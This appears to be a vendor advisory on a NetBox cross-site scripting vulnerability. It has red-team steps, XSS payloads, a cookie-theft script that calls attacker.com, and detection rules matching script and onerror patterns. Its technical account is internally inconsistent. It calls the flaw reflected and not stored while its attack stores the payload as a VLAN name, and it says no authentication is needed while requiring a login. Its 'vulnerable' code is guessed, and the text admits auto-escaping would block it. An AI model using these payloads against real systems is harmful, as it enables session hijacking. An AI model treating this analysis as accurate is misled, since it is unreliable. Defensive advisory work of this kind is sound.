CVE-2025-69848
Executive Summary
CVE-2025-69848 is a reflected Cross-Site Scripting (XSS) vulnerability affecting NetBox, an open-source infrastructure resource modeling (IRM) and IP address management (IPAM) platform. The flaw resides in the ProtectedError handling logic, present in versions 2.11.0 through 3.7.x. When a delete operation fails due to protected relationships (e.g., a VLAN that is still referenced by a prefix), the application constructs an HTML error message that includes the object's name without proper escaping. An attacker can craft a malicious link containing a JavaScript payload in the object name parameter. When a privileged user clicks this link and triggers a delete operation that fails, the payload executes in the context of the victim's session, potentially leading to session hijacking, data exfiltration, or unauthorized actions.
The vulnerability is classified as reflected XSS (CWE-79) with a CVSS v3.1 base score of 5.4 (Medium). The attack vector is network-based, requires user interaction (clicking a crafted link), and has low complexity. No authentication is required to trigger the reflection, but the impact is limited to the victim's browser session. The EPSS score is 0.0%, indicating low exploitation likelihood at the time of analysis, but this may change as proof-of-concept code emerges.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
NetBox is a Python/Django application distributed via PyPI (netbox) and GitHub. The vulnerability is introduced in the application's source code, not in a third-party dependency. However, organizations using containerized deployments (e.g., Docker images from netboxcommunity/netbox) should verify the image tag corresponds to a patched version. The PyPI package netbox versions 2.11.0 through 3.7.x are affected. No malicious packages have been reported in the supply chain related to this CVE.
CVSS Breakdown & Threat Level
CVSS v3.1 Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
| Metric | Value | Rationale |
|---|---|---|
| Attack Vector (AV) | Network (N) | The vulnerability is exploitable remotely via HTTP requests. |
| Attack Complexity (AC) | Low (L) | No special conditions or race conditions required; the payload is reflected in the error message. |
| Privileges Required (PR) | None (N) | The attacker does not need to authenticate to craft the malicious link. |
| User Interaction (UI) | Required (R) | The victim must click the crafted link and trigger a delete operation that fails. |
| Scope (S) | Unchanged (U) | The vulnerable component and the impacted component are the same (the web browser). |
| Confidentiality (C) | Low (L) | Limited data exposure (e.g., session tokens, CSRF tokens) possible. |
| Integrity (I) | Low (L) | The attacker can modify content within the victim's session (e.g., change settings, create objects). |
| Availability (A) | None (N) | No direct impact on system availability. |
Threat Level: Medium. The vulnerability requires user interaction and is not directly exploitable for remote code execution. However, in the context of a privileged user (e.g., admin), the impact can be significant, including account takeover.
Deep Dive & Mechanics
The vulnerability is rooted in NetBox's error handling for ProtectedError exceptions. In Django, ProtectedError is raised when attempting to delete an object that is referenced by other objects via a protected foreign key relationship. NetBox's view logic catches this exception and constructs an HTML error message that includes the name of the object that could not be deleted.
The vulnerable code path is in the delete view for objects that have protected relationships. The object name is retrieved from the database and inserted into the error message template without HTML escaping. An attacker can control the object name by creating an object with a malicious name (e.g., <script>alert('XSS')</script>) or by manipulating the URL parameters that influence the object name displayed in the error.
The attack flow:
- Attacker creates or identifies an object (e.g., a VLAN) with a name containing a JavaScript payload.
- Attacker crafts a URL that triggers a delete operation on that object (e.g.,
/ipam/vlans/<id>/delete/). - Attacker sends this URL to a privileged user (e.g., via email or social engineering).
- The victim, authenticated as a privileged user, clicks the link.
- The delete operation fails because the object is protected (e.g., referenced by a prefix).
- NetBox renders an error page with the object name unescaped, executing the attacker's script.
- The script runs in the victim's browser, potentially stealing session cookies, performing actions on behalf of the victim, or exfiltrating data.
The vulnerability is reflected XSS because the payload is reflected in the HTTP response immediately (the error page). It is not stored in the database persistently.
Vulnerable vs. Patched Code
Vulnerable Code (NetBox 3.7.x):
In netbox/netbox/views/generic.py (or similar), the ObjectDeleteView or a mixin handles ProtectedError:
from django.db.models import ProtectedError
from django.shortcuts import render
class ObjectDeleteView:
def post(self, request, *args, **kwargs):
obj = self.get_object()
try:
obj.delete()
except ProtectedError as e:
# Vulnerable: object name is not escaped
error_msg = f"Unable to delete {obj.name}. The object is referenced by other objects."
return render(request, 'generic/object_delete.html', {'error': error_msg})
The error_msg is passed to the template without escaping. In the template object_delete.html:
<div class="alert alert-danger">
{{ error }}
</div>
Django's template engine auto-escapes by default, but if the error variable is marked as safe (e.g., via |safe filter or mark_safe()), the XSS is triggered. Alternatively, if the error message is constructed using format_html incorrectly, it may bypass escaping.
Patched Code (Hypothetical):
from django.utils.html import escape
class ObjectDeleteView:
def post(self, request, *args, **kwargs):
obj = self.get_object()
try:
obj.delete()
except ProtectedError as e:
# Patched: escape the object name
safe_name = escape(obj.name)
error_msg = f"Unable to delete {safe_name}. The object is referenced by other objects."
return render(request, 'generic/object_delete.html', {'error': error_msg})
Or using Django's format_html:
from django.utils.html import format_html
error_msg = format_html("Unable to delete {}. The object is referenced by other objects.", obj.name)
The patch ensures that the object name is HTML-escaped before being included in the error message.
Exploitation & Lab Setup
Red Team
Prerequisites:
- A NetBox instance running version 2.11.0 to 3.7.x.
- A user account with privileges to create objects (e.g., a VLAN) and trigger delete operations.
- A victim user with higher privileges (e.g., admin) who will click the crafted link.
Exploitation Steps:
Create a malicious object:
- Log in to NetBox as a low-privileged user.
- Navigate to IPAM > VLANs > Add.
- Set the Name to:
<img src=x onerror=alert(document.cookie)> - Set a valid VLAN ID (e.g., 100) and save.
Craft the exploit URL:
- The delete URL for the VLAN will be:
https://netbox.example.com/ipam/vlans/<id>/delete/ - Replace
<id>with the ID of the malicious VLAN.
- The delete URL for the VLAN will be:
Deliver the payload:
- Send the URL to the victim (e.g., via email or chat).
- The victim must be logged in as a privileged user.
Trigger the vulnerability:
- The victim clicks the link and is taken to the delete confirmation page.
- The victim clicks "Delete" (or the form auto-submits if CSRF is bypassed).
- The delete fails because the VLAN is protected (e.g., referenced by a prefix).
- The error page renders the malicious object name, executing the script.
Payload execution:
- The script
alert(document.cookie)displays the victim's session cookie. - For a more advanced attack, the script could exfiltrate the cookie to an attacker-controlled server.
- The script
Example Payload (for cookie theft):
<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>
Note: No public exploit code (e.g., Exploit-DB) is available at this time.
Blue Team
Detection and Prevention:
Input Validation: Ensure that object names are validated to block HTML/JavaScript characters. However, this is a defense-in-depth measure, not a complete fix.
Output Encoding: The primary fix is to HTML-escape all user-controlled data in error messages. Verify that the
ProtectedErrorhandler usesescape()orformat_html().Web Application Firewall (WAF): Deploy WAF rules to block reflected XSS attempts. Example ModSecurity rule:
SecRule ARGS "@rx <script|<img|<svg|onerror|onload" "id:1000,phase:2,deny,status:403,msg:'Reflected XSS attempt'"
- Content Security Policy (CSP): Implement a strict CSP to mitigate XSS impact:
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';
User Education: Train privileged users to avoid clicking suspicious links and to verify URLs before clicking.
Session Security: Use HttpOnly and Secure flags on session cookies to prevent JavaScript access.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP requests to
/ipam/vlans/*/delete/or similar delete endpoints with unusual object names containing HTML/JavaScript. - Outbound HTTP requests from NetBox server to unknown domains (exfiltration).
- Referer headers containing malicious payloads.
Host IOCs:
- NetBox logs showing
ProtectedErrorwith object names containing<script>,<img, oronerrorpatterns. - Unusual object names in the database (e.g.,
namefield containing HTML tags).
Log Example (NetBox access log):
192.168.1.100 - - [10/May/2025:14:23:45 +0000] "POST /ipam/vlans/42/delete/ HTTP/1.1" 200 5432 "https://netbox.example.com/ipam/vlans/42/" "Mozilla/5.0"
YARA Rule (for scanning logs):
rule NetBox_Reflected_XSS_IOC {
meta:
description = "Detects potential XSS payloads in NetBox error messages"
author = "Valters IT"
date = "2025-05-10"
reference = "CVE-2025-69848"
strings:
$xss1 = /<script[^>]*>.*<\/script>/i
$xss2 = /<img[^>]*onerror[^>]*>/i
$xss3 = /<svg[^>]*onload[^>]*>/i
$xss4 = /onerror\s*=\s*["']?[^"'\s>]+/i
condition:
any of them
}
Detection Engineering
YARA Rule
rule CVE_2025_69848_NetBox_XSS {
meta:
description = "Detects reflected XSS payloads in NetBox ProtectedError responses"
author = "Valters IT"
date = "2025-05-10"
reference = "CVE-2025-69848"
severity = "medium"
strings:
$error_pattern = "Unable to delete" nocase
$xss_payload = /<[^>]*script[^>]*>|<[^>]*onerror[^>]*>|<[^>]*onload[^>]*>/i
condition:
$error_pattern and $xss_payload
}
Sigma Rule
title: NetBox Reflected XSS in ProtectedError Handler
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP responses from NetBox containing unescaped object names in error messages, indicating CVE-2025-69848 exploitation.
author: Valters IT
date: 2025-05-10
references:
- https://nvd.nist.gov/vuln/detail/CVE-2025-69848
logsource:
category: webserver
product: netbox
detection:
selection:
response_body|contains: "Unable to delete"
response_body|re: "<[^>]*script[^>]*>|<[^>]*onerror[^>]*>|<[^>]*onload[^>]*>"
condition: selection
falsepositives:
- Legitimate object names containing HTML-like strings (rare)
level: medium
tags:
- attack.initial_access
- attack.t1190
- cve.2025.69848
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-69848 NetBox Reflected XSS Attempt"; flow:to_server,established; content:"/delete/"; http_uri; content:"Unable to delete"; http_server_body; pcre:"/<[^>]*script[^>]*>|<[^>]*onerror[^>]*>|<[^>]*onload[^>]*>/i"; sid:1000001; rev:1; reference:cve,2025-69848; priority:2;)
Remediation & Mitigation
Immediate Actions:
- Upgrade NetBox: If a patched version is released, upgrade immediately. Monitor the NetBox GitHub releases page for a fix.
- Apply Virtual Patching: Use a WAF to block requests containing XSS payloads in object names or delete URLs.
- Disable Delete for Protected Objects: As a temporary measure, restrict delete permissions for objects that are likely to be protected (e.g., VLANs, prefixes). This reduces the attack surface.
Long-Term Fixes:
- Code Review: Audit all error handling code that includes user-controlled data. Ensure proper escaping using Django's
escape()orformat_html(). - Security Testing: Integrate SAST (Static Application Security Testing) tools to detect unescaped output in error messages.
- CSP Implementation: Deploy a strict Content Security Policy to mitigate XSS impact even if a vulnerability is exploited.
Patch Verification:
- Check the NetBox version:
http://netbox.example.com/api/status/or the footer of the web interface. - Verify that the
ProtectedErrorhandler innetbox/netbox/views/generic.pyusesescape()orformat_html().
Valters IT
DevSecOps & Cyber Threat Intelligence